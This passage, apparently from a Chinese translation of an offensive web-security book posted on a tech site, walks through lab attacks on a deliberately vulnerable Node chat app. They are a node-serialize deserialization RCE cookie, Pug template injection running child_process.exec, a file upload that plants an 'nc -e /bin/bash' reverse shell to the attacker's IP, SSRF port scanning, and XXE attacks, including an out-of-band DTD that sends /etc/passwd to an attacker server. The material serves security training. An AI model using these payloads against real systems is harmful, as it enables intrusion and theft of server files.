- 找到一个 Cookie 名称“donotdecodeme”。
- 将该 Cookie 复制到 Burp Suite 解码器中,对其进行 Base64 解码,如图 3.20 所示。
如前所述,每种语言都有其独特之处,Node.js 也不例外。在 Node/Express/Pug 框架中,您无法直接写入 Web 目录,并且像在 PHP 中一样访问它。必须指定访问文件夹的路径,文件夹需要可写并且可以被公共的互联网访问。
图 3.20
2.创建静荷
- 在开始之前,需要注意实验中的所有这些静荷都采用易于复制/粘贴的格式。
- 获取原始静荷,修改您的 Shell 执行命令“'DO SYSTEM COMMANDS HERE'”。
- {"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE',function(error, stdout, stderr) { console.log(stdout) });}()"}
- 示例如下。
- {"thp":"_$$ND_FUNC$$_function(){require('child_process').exec('echo node deserialization is awesome!! >>/opt/web/chatSupportSystems/public/hacked.txt', function(error, stdout, stderr) { console.log(stdout) });}()"}
- 由于原始 Cookie 已经编码,因此我们需要使用 Burp 解码器/编码器对静荷进行 base64 编码。
- 示例静荷,如图 3.21 所示 eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZSgnY
2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2VjaG8gbm9kZSBkZXNlcmlhbGl6YX
Rpb24gaXMgYXdlc29tZSEhID4+IC9vcHQvd2ViL2NoYXRTdXBwb3J0U3lz
dGVtcy9wdWJsaWMvaGFja2VkLnR4dCcsIGZ1bmN0aW9uKGVycm9yLCBz
dGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQpIH0pO30oKSJ9
- 示例静荷,如图 3.21 所示 eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZSgnY
- 注销,打开 Burp 拦截,并转发请求/(home)。
- 修改 Cookie 添加新创建的 Base64 静荷
- 转发流量,因为/是公开文件夹,您可以打开浏览器访问 http://chat: 3000/hacked.txt。
- 您现在实现了远程执行代码,可以随意对此系统进行后期利用。首先尝试访问/etc/passwd。
图 3.21
如图 3.22 所示,在 node-serialize 模块的源代码中,我们看到这个函数表达式正在被计算,用户输入可能被执行,对于任何 JavaScript/Node.js 应用程序来说,这都是一个严重的问题。这种糟糕的实现方式导致我们可以突破这个应用程序。
图 3.22
3.3.12 模板引擎攻击 - 模板注入
与标准 HTML 相比,模板引擎由于其模块化和简洁的代码,被广泛使用。模板注入是指用户输入直接传递到渲染模板,导致底层模板的修改。模板注入攻击已经出现在 wikis、WSYWIG 或电子邮件领域。因为这种情况很少是意外发生的,所以经常被误解为 XSS。模板注入攻击使得攻击者可以访问底层操作系统,从而远程执行代码。
在下一个示例中,您将通过 Pug 对 Node.js 应用程序执行模板注入攻击。我们无意中将自己暴露在带有用户输入的元重定向的模板注入中,这是使用模板文本‘${}’呈现的。值得注意的是,模板文字允许使用换行符,这要求我们不要跳出段落标记,因为 Pug 对空格和换行符很敏感,类似于 Python。
在 Pug 中,第一个字符或单词代表关键字,用于指明标签或者函数。您也可以使用缩进指定多行字符串,如下所示。
- p。
- 这是一个段落缩进
- 这仍然是段落标记的一部分
以下是 HTML 和 Pug 模板的示例,如图 3.23 所示。
图 3.23
上面的示例文本显示了模版在 HTML 中的排版以及模版在 Pug Markup 语言中的排版。通过模板和字符串插值,我们可以创建快速、可重用且高效的模板。
1.模板注入示例
聊天应用程序容易受到模板注入攻击。在下面的应用程序中,我们将观察到是否可以与 Pug 模板系统进行交互。这可以通过检查输入参数是否可以处理基本操作进行判断。James Kettle 写过一篇论文介绍攻击模板以及与底层模板系统的交互方式。
与 Pug 交互的步骤如下。
- 访问 http://chat:3000,使用任何有效账户登录。
- 访问 http://chat:3000/directmessage 并输入用户和评论,单击“发送”。
- 接下来,回到 directmessage,尝试在用户参数处添加 XSS 静荷<script>alert(1) </script>。
- http://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&co mment=&link=
- 图 3.24 所示表明应用程序存在 XSS 漏洞,但是可以与模板系统进行交互吗?
图 3.24
- 在 Burp 历史记录中,查看服务器请求/响应,指向端点数据包/ti?user=,并将请求发送到 Burp Repeater(<Ctrl + R>组合键),如图 3.25 所示。
图 3.25
2.测试基本操作
我们可以通过传递一个算术字符串来测试 XSS 易受攻击的参数是否用于模板注入。如果输入被评估,那么表明参数存在模板注入攻击的风险,这是因为模板(如编码语言)可以轻松支持算术运算。
基本操作测试如下。
- 使用 Burp Repeater 工具,对/ti 测试各种模板注入参数。我们可以通过诸如 9 × 9 的数学运算完成相应测试。
- 我们可以看到计算并不正确,得到的运算结果不是 81,如图 3.26 所示。请记住,用户输入包含在段落标记中,因此可以假设我们的 Pug 模板代码如下所示。
- p Message has been sent to !{user}
图 3.26
利用 Pug 的特点。
(1)正如前文所述,Pug 是用空格分隔的(类似于 Python),换行符用于输入一个新的模板,这意味着如果跳出 Pug 中的当前行,就可以执行新的模板代码。在这种情况下,我们将跳出段落标记(<p>),如上所示,执行新的恶意模板代码。为此,我们必须使用一些 URL 编码来利用此漏洞。
(2)逐步完成每个要求实现模板注入。
- 首先,我们需要另起一行,跳出当前模板。这可以使用以下字符来完成。
- %0a new line
- 其次,我们可以在 Pug 中使用“=”符号进行数学计算。
- %3d 是“=” 的编码
- 最后,我们可以输入数学方程式。
- 9 × 9 数学方程式
(3)因此,最终的静荷将如下所示。
- [newline]=9\*9
- URL 编码:
GET/ti?user=%0a%3d9*9&comment=&link=
(4)/ti?user =%0a%3d9 * 9 在响应正文中输出了 81,如图 3.27 所示。您在用户参数中实现了模板注入!我们利用 JavaScript 远程执行代码。
图 3.27
正如您在响应中所看到的,我们在段落标记之外看到“81”的输出结果,而不是用户名!这意味着我们能够注入模板。
我们现在知道程序存在一些模板注入漏洞,可以进行简单的计算,但我们需要了解是否可以执行 Shell。我们必须在 Node/JavaScript 中通过正确的函数来执行 Shell。
- 首先,识别全局根对象,然后继续确定可以访问哪些模块和功能。最终使用 Require 函数导入 child_process .exec,运行操作系统命令。在 Pug 中,“=”字符允许输出 JavaScript 结果。我们将从访问全局根对象开始。
- [new line]=globa
- 使用 Burp 的解码器工具将上述表达式进行 URL 编码,可以得到:%0a%3d %20%67%6c%6f%62%61%6c
- 使用上面的 URL 编码字符串作为用户值并重新发送。
- 在提交之前的请求后,如果一切顺利,我们将看到[object global],如图 3.28 所示,这意味着我们可以访问全局对象。
图 3.28
解析全局对象。
通过在全局范围内使用 Pug 迭代器“each”,查看可以访问的对象和属性。注意换行符(%0a)和空格(%20)。
- 全局中的每个变量和索引
p = index - URL 编码:
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e%
20%67%6c%6f%62%61%6c%0a%20%20%70%3d%20%69%6e%64%65%78
- 全局中的每个变量和索引
在上面的示例中,我们使用‘each’迭代器,它可以访问值,并且如果指定数组或对象,也可以访问索引。我们试图找到全局对象中可以访问的对象、方法或模块。最终目标是找到类似“require”的方法执行子进程.exec。从现在开始,我们反复对方法和对象进行试验和试错,最终找到 require 方法,如图 3.29 所示。
图 3.29
搜索代码执行函数。
从上一个请求中,我们看到了全局中的所有对象以及一个名为“process”的对象。接下来,我们需要识别有趣的对象,这些对象可以在 global.process 中访问到。
- - var x = global.process.mainModule.require
p= index - URL 编码:
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e
%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%0a%20%20
%70%3d%20%69%6e%64%65%78
- - var x = global.process.mainModule.require
我们尝试在所有可用的方法中选择“process”,因为它最终会执行 require,如图 3.30 所示。您可以选择不同的迭代方法,来对过程进行试验和试错。
图 3.30
- global.process.mainModule 的每个变量和索引
p= index - URL 编码:
%0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69
%6e%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%2e%6d
%61%69%6e%4d%6f%64%75%6c%65%0a%20%20%70%3d%20%69%6e%64
%65%78
远程执行代码。
- 发送最终的静荷,我们应该在 global.process.mainModule 中看到“require”函数。现在可以设置导入‘child_process’和.exec 实现远程代码执行。
- - var x = global.process.mainModule.require
- - x('child_process').exec('cat/etc/passwd >>/opt/web/chatSupportSystems/ public/accounts.txt')
- URL 编码:
%0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%62%61%6c%2e
%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65
%2e%72%65%71%75%69%72%65%20%0a%2d%20%78%28%27%63%68%69
%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28
%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%3e
%3e%20%2f%6f%70%74%2f%77%65%62%2f%63%68%61%74%53%75%70
%70%6f%72%74%53%79%73%74%65%6d%73%2f%70%75%62%6c%69%63
%2f%61%63%63%6f%75%6e%74%73%2e%74%78%74%27%29
- 在上面的示例中,我们像在 JavaScript 中一样定义变量“x”,但行首的破折号表示无缓冲输出(隐藏)。我们将全局对象和最终获得 require 所需的模块一起使用,从而可以使用 child_process.exec 来运行系统命令。
- 将/etc/passwd 的内容输出到 Web 公共根目录,这是唯一具有写入权限的目录(由应用程序创建者设计),并且允许用户查看内容。我们也可以执行反向 Shell 或系统命令允许的任何其他内容。
- 我们可以访问 http://chat:3000/accounts.txt,包含网站服务器/etc/passwd 的内容,如图 3.31 所示。
图 3.31
- 在系统上实现远程执行代码并返回 Shell。
现在,我们可以自动化这个过程吗?当然可以。一个名为 Tplmap 的工具(可在 GitHub 网站中搜索)与 SQLmap 类似,它尝试将所有不同的模板注入组合,如图 3.32 所示。
- cd /opt/tplmap
- ./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link="
图 3.32
3.3.13 JavaScript 和远程代码执行
在每次安全评估和 Web 应用程序渗透测试中,我们尽可能实现远程执行代码。虽然远程执行代码几乎会出现在任何地方,但是常见于上传 WebShell、Imagetragick 漏洞利用、使用 Office 文件开展 XXE 攻击、目录遍历结合上传功能实现关键文件替换等过程。
通常,我们可能会尝试找到上传区域,并使用 Shell。下面的网址包含各种不同类型的 webshell 静荷(可以 GitHub 网站中搜索)。注意,这些 Shell 没有经过任何审查,使用它们您需要自担风险。我在互联网上见到很多网站 Shell 中包含恶意软件。
利用上传缺陷攻击存在漏洞的聊天应用程序
在实验中,我们将在 Node 应用程序上实现代码上传和远程执行。在示例中,文件上传功能允许上传任何文件。不幸的是,对于 Node 应用,我们不能像 PHP 语言那样,通过 Web 浏览器调用文件,实现文件的执行。因此,在这种情况下,我们将使用动态路由端点,尝试呈现 Pug 文件的内容。如图 3.33 所示,端点读取文件的内容,并且认为是 Pug 文件,因为默认目录存在于 Views 目录中,这就是漏洞所在。此端点还存在路径遍历和本地文件读取漏洞。
图 3.33
在上传过程中,文件处理程序模块将该文件重新命名为随机字符串,并且不带扩展名。在页面的上传响应内容中,存在上传文件的服务器路径位置。利用此路径信息,我们可以使用/drouting 执行模板注入攻击,实现远程代码执行。
既然我们知道底层应用程序是 Node(JavaScript),那么我们可以通过 Pug 上传什么样的静荷并用于执行?回到之前使用的简单示例。
- 首先,将变量分配给 require 模块。
- -var x = global.process.mainModule.require
- 使用子进程模块访问操作系统功能函数,运行任何系统命令。
- -x('child_process').exec('nc [Your_IP] 8888 -e/bin/bash')
执行远程代码上传攻击。
- 访问 http://chat:3000 并使用任何有效账户登录,如图 3.34 所示。
图 3.34
- 上传下面的文本文件信息。在 Pug 中,“-”字符表示执行 JavaScript。
- -var x = global.process.mainModule.require
- -x('child_process').exec('nc [Your_IP] 8888 -e/bin/bash')
- 通过 Burp 工具,查看上传文件的请求和响应数据包,如图 3.35 所示。您将看到在 POST 请求响应数据包中,包含上传文件的散列值以及对动态路由的引用。
- 在此模板代码中,我们将 require 函数分配给 child_process.exec,以便在操作系统级别上运行命令。Web 服务器运行代码,回连到监听器 IP 地址和 8888 端口上,我们可以获得 Web 服务器 Shell。
- 在攻击者计算机上,启动 netcat 监听器,准备 Shell 回连。
- nc -l -p 8888
图 3.35
- 在端点上运行动态路由,从而激活代码。在浏览器中,找到上传的散列文件。动态路由端点采用指定的 Pug 模板进行呈现。幸运的是,我们上传的 Pug 模板包含反向 Shell。
- 在浏览器中访问 drouting 端点,使用从文件上传响应中恢复的文件。我们使用目录遍历“../”来降低一个目录,以便能够进入包含恶意文件的上传文件夹。
- /drouting?filename=../uploads/[YOUR FILE HASH]
- 返回监听 8888 端口终端,使用 Shell 开始交互操作,如图 3.36 所示。
图 3.36
3.3.14 服务器端请求伪造(SSRF)
服务器端请求伪造(SSRF)通常容易被误解,并且在表述方面,经常与跨站点请求伪造(CSRF)混为一谈。虽然这个漏洞已经存在了一段时间,但实际上大家对这个漏洞还不是很了解,特别是其带来的严重后果。我们来介绍一下 SSRF 是什么以及为什么会产生这个漏洞。
服务器端请求伪造通常用于访问本地系统、内部网络或某种迁移。现在通过一个简单的示例来理解 SSRF。假设有一个公共网站应用程序,允许用户通过互联网的网址上传配置文件图片。您登录该站点,访问个人配置,然后单击按钮,从 Imgur(公共图像托管服务)更新配置信息。您提供图像网址并单击提交。接下来发生的事情是服务器创建一个全新的请求,访问 Imgur 站点,抓取图像(可能会执行一些图像操作以调整图像大小—imagetragick),将其保存到服务器,并给用户发送成功消息。如您所见,我们提供了一个 URL,服务器获取该 URL 并获得图像,然后将其上传到数据库。
我们最初向 Web 应用程序提供 URL,以便从外部资源获取配置文件图片。但是,如果我们将图像网址指向 http://127.0.0.1:80/favicon.ico,会发生什么?这将告诉服务器,不需要访问 Imgur,仅需要从网站服务器的本地主机(自身)获取 favicon.ico。如果我们能够获得 200 条消息或使个人资料图片来自于本地的图标,我们就会知道可能存在 SSRF 漏洞。
网站服务器运行在 80 端口,如果我们尝试连接到 http://127.0.0.1:8080(这是一个除本地主机之外,其他主机无法访问的端口),会发生什么情况?这非常有趣。如果我们能得到完整的 HTTP 请求/响应数据包,而且可以在本地对端口 8080 发出 GET 请求,那么如果我们发现易受攻击的 Jenkins 或 Apache Tomcat 服务,会发生什么?即使这个端口没有对外公开,我们也许可以突破控制这个设备。如果我们开始请求内部地址 http://192.168.10.2-254,而不是 127.0.0.1 会怎样?回想一下那些网站扫描工具,如果获得内部网络地址,那么扫描工具会重新发挥作用,可以用来发现内部网络服务的漏洞。
发现 SSRF 漏洞后,您可以做以下工作。
(1)在本地回环接口上访问服务。
(2)扫描内部网络并与这些服务进行交互(GET/POST/HEAD)。
(3)使用 FILE://,读取服务器上的本地文件。
(4)利用 AWS Rest 接口。
(5)横向移动到内部环境中。
在图 3.37 中,我们在 Web 应用程序上发现了一个 SSRF 漏洞,综合利用该漏洞。
图 3.37
让我们来看一个真实的例子。
- 在聊天支持系统(http://chat:3000/)网站应用程序中,首先确保创建一个账户并登录。
- 登录后,通过链接访问直接消息(DM)或直接访问 http://chat:3000/directmessage。
- 在“Link”文本框中,输入 http://cyberspacekittens.com 网站,然后单击预览链接。
- 您现在应该看到 http://cyberspacekittens.com 呈现的页面,但 URI 栏仍应指向聊天应用程序。
- 这表明该站点容易存在 SSRF 漏洞。如图 3.38 所示,我们也可以尝试访问 chat:3000/ ssrf?user=&comment=&link=http://127.0.0.1:3000 并指向 localhost。注意,页面表明我们现在访问服务器站点本地。
我们知道应用程序本身正在监听端口 3000。我们可以使用 Nmap 工具从外部对设备进行扫描,并发现当前没有其他的 Web 端口开放,但是有什么服务仅可用于 localhost 开放呢?为了弄清楚,我们对 127.0.0.1 的所有端口进行暴力扫描。我们可以使用 Burp Suite 和 Intruder 工具完成这个任务。
图 3.38
- 在 Burp Suite 中,单击“Proxy/HTTP History”选项卡,找到我们上一个 SSRF 的请求。
- 右键单击请求正文选择“Send to Intruder”。
- ❽Intruder”选项卡将变为可用,转到“位置”选项卡,然后单击“清除”。
- 单击并突出显示端口“3000”,然后单击 Add。GET 请求如下所示。
- GET/ssrf?user=&comment=&link=http://127.0.0.1:§3000§ HTTP/1.1
- 单击“Payloads”选项卡,然后选择静荷类型“Numbers”。如图 3.39 所示,选择端口 28000~28100。通常选择所有端口,但是在本实验中仅选择一部分。
- From: 28000
- To: 28100
- Step: 1
- 单击“Start attack”按钮。
如图 3.40 所示,您将看到端口 28017 的响应长度远大于所有其他请求。如果打开浏览器访问网址:http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017,就可以利用 SSRF 漏洞访问 MongoDB 网站界面,如图 3.41 所示。
图 3.39
图 3.40
图 3.41
您应该能够访问所有链接,但需要借助 SSRF 漏洞。要访问 serverStatus(http://chat: 3000/serverStatus?text=1),如图 3.42 所示,您必须使用 SSRF 攻击方法并跳转到下面的网址。
图 3.42
- http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus? text=1。
服务器端请求伪造漏洞的危害可能非常大。服务器端请求伪造漏洞不是新漏洞,目前发现的 SSRF 漏洞数量依然在不断增加。由于 SSRF 漏洞允许攻击者在基础网络内部进行迁移,因此通常会造成其他关键服务的暴露。
3.3.15 XML eXternal Entities(XXE)
XML 是可扩展标记语言的缩写,主要用于发送/存储易于理解的数据。XML eXternal Entities(XXE)是指应用程序中 XML 解析器漏洞。应用程序中的 XML 解析器具有允许文件上传、解析 Office 文档、JSON 数据甚至 Flash 类型游戏等功能。当解析 XML 时,不正确的验证可能导致攻击者读取文件,发起拒绝服务攻击,甚至执行远程代码。从宏观角度来看,应用程序具有以下需求:(1)解析用户提供的 XML 数据;(2)实体的系统标识符部分必须在文档类型声明(DTD)内;(3)XML 解析器必须验证/处理 DTD 并解析外部实体。正常 XML 和恶意 XML 的对比如表 3.1 所示。
表 3.1
正常 XML 文件 | 恶意 XML 文件 |
---|---|
<?xml version="1.0" encoding="ISO- 8859-1"?> <Prod> <Type>Book</type> <name>THP</name> <id>100</id> </Prod> | <?xml version="1.0" encoding="utf- 8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xxx>&xxe;</xxx> |
上面,我们有一个普通的 XML 文件和一个定制的读取系统的/etc/passwd 内容的 XML 文件。我们来看一看,是否可以在真实的 XML 请求中注入恶意 XML 请求。
XXE 实验
本实验需要自定义请求配置,有一个 VMWare 虚拟机可用于 XXE 攻击。
下载后,在 VMWare 中打开虚拟机并启动它。在登录界面中,您无须登录,但需要获取系统的 IP 地址。
设置浏览器。
- 通过 Burp Suite 代理所有流量。
- 访问网址:http://[虚拟机 IP 地址]。
- 拦截流量并单击“Hack the XML”。
在加载页面后,查看页面的 HTML 源代码,会有一个通过 POST 请求提交的隐藏字段。XML 内容如下所示。
<?xml version="1.0" ?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book "Universe">
]>
<thp>Hack The &book;</thp>
在这个例子中,指定 XML 版本为 1.0,DOCTYPE 指定根元素是 thp,!ELEMENT 指定任何类型,并且!ENTITY 设置 book 字符串“Universe”。最后,在 XML 输出中,我们希望从解析 XML 文件中打印出实体内容。
这通常是您在发送 XML 数据的应用程序中看到的内容。由于控制了 POST 数据中的 XML 请求数据,因此我们可以尝试注入恶意实体。默认情况下,绝大多数 XML 解析库都支持 SYSTEM 关键字,该关键字允许从 URI 读取数据(包括使用 file://协议从系统本地读取数据)。因此,我们可以创建实体读取/etc/passwd 文件。正常 XML 和恶意 XML 的对比如表 3.2 所示。
表 3.2
原始 XML 文件 | 恶意 XML 文件 |
---|---|
<?xml version="1.0" ?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book "Universe"> ]> <thp>Hack The &book;</thp> | <?xml version="1.0" ?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book SYSTEM "file:///etc/passwd"> ]> <thp>Hack The &book;</thp> |
XXE 实验 - 读取文件
- 拦截流量并在[IP of Your VM]/xxe.php 中单击“Hack the XML”。
- 将截获的流量发送到 Repeater。
- 修改 POST 参数中“data”内容。
- <?xml version="1.0" ?><!DOCTYPE thp [ <!ELEMENT thp ANY><!ENTITY book SYSTEM "file:///etc/passwd">]><thp>Hack The %26book%3B</thp>
- 请注意%26 等同于&,%263B 等同于;.我们需要对符号和分号字符进行百分比编码。
- 提交流量,我们能够读取/etc/passwd 文件,如图 3.43 所示。
图 3.43
3.3.16 高级 XXE—带外(XXE-OOB)
在之前的攻击中,我们能够在<thp>标签中获得响应。如果看不到响应或遇到字符/文件限制,我们怎样把数据发送到带外(OOB)?我们可以提供远程文档类型定义(DTD)文件来执行 OOB-XXE,而不是在请求静荷中定义攻击。DTD 是具有完整结构的 XML 文件,它定义了 XML 文档的结构、合法元素及属性。为了方便起见,DTD 文件包含所需的攻击/渗透静荷,这将帮助我们解决许多字符限制的问题。在实验示例中,我们将使易受攻击的 XXE 服务器请求托管在远程服务器上的 DTD 文件。
新的 XXE 攻击将分以下 4 个阶段进行。
- 修改的 XXE XML 攻击。
- 使易受攻击的 XML 解析器从攻击者的服务器获取 DTD 文件。
- DTD 文件包含读取/etc/passwd 文件的代码。
- DTD 文件包含用于泄露数据内容的代码(可能编码)。
设置攻击设备和 XXE-OOB 静荷。
- 我们将指定外部 DTD 文件,而不是原始文件读取。
- <!ENTITY % dtd SYSTEM "http://[Your_IP]/payload.dtd"> %dtd;
- 新的数据 POST 静荷显示如下(请记住改变[Your_IP])。
- <?xml version="1.0"?><!DOCTYPE thp [<!ELEMENT thp ANY><!ENTITY % dtd SYSTEM "http://[YOUR_IP]/payload.dtd">%dtd;]><thp><error>%26send%3B </error> </thp>
- 在攻击者服务器上创建名为 payload.dtd 的文件。
- gedit/var/www/html/payload.dtd
- <!ENTITY % file SYSTEM "file:///etc/passwd">
- <!ENTITY % all "<!ENTITY send SYSTEM'http://[Your_IP]:8888/collect= %file;'>">
- %all;
- 刚刚创建的 DTD 文件的作用是从存在 XXE 漏洞的服务器读取/etc/passwd,然后将敏感数据通过 Web 请求回传到攻击者主机。为了确保收到响应,需要启动 Web 服务器,提供 DTD 文件访问,并设置 NetCat 监听器。
- nc -l -p 8888
- 您可能看到以下错误内容:simplexml_load_string(): parser error : Detected an entity reference loop in <b>/var/www/html/xxe.php</b> on line <b>20。在进行 XXE 攻击时,通常会遇到解析器错误。很多时候,XXE 解析器只解析部分字符,因此读取带有特殊字符的文件将导致解析器崩溃。如何才能解决这个问题呢?对于 PHP,我们可以使用 PHP 输入/输出流读取本地文件,并使用 php://filter/read=convert.base64- encode 对文件进行 base64 编码。运行 NetCat 监听器,修改 payload.dtd 文件来启用这个功能,如图 3.44 所示。
- <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource= file:///etc/passwd">
- <!ENTITY % all "<!ENTITY send SYSTEM'http://[Your_IP]:8888/collect=%file;'>">
- %all;
图 3.44
在重新发送新修改的请求后,我们现在可以看到被攻击者服务器首先读取 payload.dtd 文件,处理该文件,并向端口 8888 上的 NetCat 监听程序发送第二个 Web 请求。当然,GET 请求是 base64 编码的,我们需要对请求数据包解码。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论